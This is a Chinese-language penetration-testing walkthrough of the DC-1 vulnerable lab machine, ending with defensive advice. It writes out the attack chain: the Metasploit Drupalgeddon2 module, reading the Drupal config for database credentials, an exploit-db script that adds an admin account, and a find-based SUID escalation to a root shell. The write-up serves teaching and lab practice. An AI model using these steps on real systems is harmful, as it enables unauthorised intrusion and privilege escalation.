DC-1靶机
字数 1109 2025-08-15 21:30:26
DC-1靶机渗透测试教学文档
靶机概述
- DC-1是基于Debian 32位的VirtualBox虚拟机
- 专门设计的易受攻击实验室,用于渗透测试学习
- 包含5个flag,最终目标是在root主目录中找到并读取第5个flag
- 运行环境:VMware/VirtualBox
- 靶机IP:192.168.236.136
- 攻击机:Kali Linux (IP: 192.168.236.133)
初始信息收集
端口扫描
使用nmap进行扫描:
nmap -A 192.168.236.136
扫描结果:
- 22端口:SSH服务
- 80端口:HTTP服务 (Apache 2.2.22)
- 111端口:rpcbind服务
- 其他端口
重点发现:
- 80端口运行Drupal 7 CMS
- robots.txt显示多个敏感目录
漏洞利用
Drupal漏洞利用
- 使用Metasploit查找Drupal 7的漏洞:
msf5 > search Drupal
- 选择并使用Drupalgeddon2漏洞:
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.236.136
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
- 获取初始shell:
getuid
shell
Flag获取过程
Flag1
- 在网站根目录找到flag1.txt
- 提示:每个好的CMS都需要一个配置文件
Flag2
- 查找Drupal配置文件:
cat sites/default/setting.php
- 文件中包含数据库信息和flag2
- flag2提示:使用数据库信息获取后台凭证
数据库操作
- 使用获取的凭证登录MySQL:
mysql -udbuser -pR0ck3t
- 操作数据库:
use drupaldb;
show tables;
select * from users;
- 发现admin用户和密码哈希(无法直接破解)
创建管理员账户
- 使用exploitdb中的Drupal 7攻击脚本创建新管理员:
python exploits/php/webapps/34992.py -t 192.168.236.136 -u admin1 -p admin1
- 使用新凭证(admin1/admin1)登录后台
- 在Content中找到flag3
Flag3
- flag3提示:查看shadow文件并使用SUID提权
权限提升
查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
利用find命令提权
find . -exec /bin/sh \; -quit
成功获取root权限
Flag4
- 查看shadow文件发现flag4用户
- 直接使用find命令查找:
find -name "flag4.txt"
Flag5
- 使用模糊搜索:
find * -name "*.txt"
- 最终在根目录找到thfinalflag.txt(即flag5)
关键知识点总结
- 信息收集:nmap扫描是渗透测试的第一步,识别开放端口和服务
- CMS漏洞利用:Drupal 7存在已知漏洞(Drupalgeddon2),可通过Metasploit利用
- 配置文件泄露:CMS配置文件常包含数据库凭证等敏感信息
- 数据库操作:获取数据库凭证后可查询用户表获取管理凭证
- 权限提升:
- SUID权限机制是Linux提权的重要途径
- find命令是常见的SUID提权方法
- 文件搜索技巧:使用find命令配合正则表达式查找flag文件
防御建议
- 及时更新CMS系统和插件
- 限制敏感配置文件的访问权限
- 避免使用弱密码和默认凭证
- 严格控制SUID权限的文件
- 定期进行安全审计和渗透测试